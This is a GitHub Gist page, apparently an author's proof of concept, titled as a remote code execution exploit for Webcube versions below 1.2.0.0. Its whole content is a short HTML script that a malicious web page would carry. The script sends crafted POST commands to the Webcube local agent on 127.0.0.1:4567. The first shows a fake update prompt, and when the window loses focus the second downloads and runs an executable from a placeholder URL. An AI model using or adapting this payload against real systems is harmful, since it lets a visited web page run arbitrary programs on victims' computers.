Last active
September 8, 2022 22:04
-
-
Save po6ix/5fca37beb20578b1585e3aa678bdf263 to your computer and use it in GitHub Desktop.
Webcube < 1.2.0.0 RCE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
flag = 0; | |
window.onload = window.onfocus = () => { | |
if (flag) return; | |
fetch('http://127.0.0.1:4567/WebCube/RetCmd?CmdMethod(1061,"1199",5678,"Update is prepared for Webcube!",1111,2222,"<EXE_URL_SIGNED_WITH_TERUTEN>")', {method:'POST'}) | |
}; | |
window.onblur = () => { | |
if (flag) return; | |
flag = 1; | |
fetch('http://127.0.0.1:4567/WebCube/RetCmd?CmdMethod(1061,"1199",5678,"",1111,2222,"<EXE_URL_TO_EXECUTE>")',{method:'POST'}); | |
}; | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment